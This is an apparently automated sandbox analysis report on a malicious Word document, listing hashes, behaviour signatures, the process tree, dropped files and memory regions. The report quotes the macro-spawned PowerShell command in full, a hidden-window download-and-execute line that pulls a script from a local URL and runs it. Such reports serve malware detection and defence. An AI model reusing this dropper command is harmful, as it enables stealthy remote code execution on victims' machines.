Analysis

  • max time kernel
    48s
  • max time network
    38s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/11/2024, 21:01

General

  • Target

    9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc

  • Size

    29KB

  • MD5

    ac9318d0e8db68d68897f7b226e17386

  • SHA1

    96a6eadd0779bfbf47b3a1a3a21c6841faa7279e

  • SHA256

    9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315

  • SHA512

    c36009ed76e35a43401b2058060d6d4297a74f7ee98ba580cb4be6725c72b4662d043fcfabe073f3e561aa607835a44bfcca2dc5969777ce557fb0e22f2639a9

  • SSDEEP

    192:5EO0lLZEvA+6/6r8px8SmvowzxHq30wa6Y6P0tPBxV05JB8aY:a/8iS8px8SMDHgBctK5J

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://127.0.0.1:8000/arquivos/windows.txt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9cc036b0879d125d24401d0a89743fe5ace701dd6e107ea700f4adddb0238315.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -w hidden -noninteractive "IEX((new-object net.webclient).downloadstring('http://127.0.0.1:8000/arquivos/windows.txt'))"
      2⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4544

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\TCD3357.tmp\sist02.xsl

          Filesize

          245KB

          MD5

          f883b260a8d67082ea895c14bf56dd56

          SHA1

          7954565c1f243d46ad3b1e2f1baf3281451fc14b

          SHA256

          ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

          SHA512

          d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dxeddbby.sjs.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

          Filesize

          3KB

          MD5

          78c74641d9cf7c01e5603371f484d08e

          SHA1

          63a4848a44f09845d532fe233f10236111989c71

          SHA256

          41bfebc324f7ddad77f83d32e17da066d315a72babc5e3ece3333780350a133a

          SHA512

          94c854db9ac5831cb5f621ff2f7b539202896cce7ae6081579e641db1cf6809c054044a60484bb169be85874e9f35f68236a6ebb0a243cfea1c87a24d0cce30f

        • memory/2360-15-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-20-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-7-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-6-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-5-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

          Filesize

          64KB

        • memory/2360-8-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-9-0x00007FFC2EF70000-0x00007FFC2EF80000-memory.dmp

          Filesize

          64KB

        • memory/2360-12-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-13-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-11-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-14-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-16-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-18-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-19-0x00007FFC2EF70000-0x00007FFC2EF80000-memory.dmp

          Filesize

          64KB

        • memory/2360-33-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-21-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-17-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-1-0x00007FFC718ED000-0x00007FFC718EE000-memory.dmp

          Filesize

          4KB

        • memory/2360-2-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

          Filesize

          64KB

        • memory/2360-10-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-53-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-4-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

          Filesize

          64KB

        • memory/2360-0-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

          Filesize

          64KB

        • memory/2360-51-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-52-0x00007FFC718ED000-0x00007FFC718EE000-memory.dmp

          Filesize

          4KB

        • memory/2360-32-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-54-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-55-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-56-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-59-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-58-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-57-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-60-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-62-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-61-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-63-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-67-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/2360-3-0x00007FFC318D0000-0x00007FFC318E0000-memory.dmp

          Filesize

          64KB

        • memory/2360-73-0x00007FFC71850000-0x00007FFC71A45000-memory.dmp

          Filesize

          2.0MB

        • memory/4544-48-0x0000021265460000-0x0000021265482000-memory.dmp

          Filesize

          136KB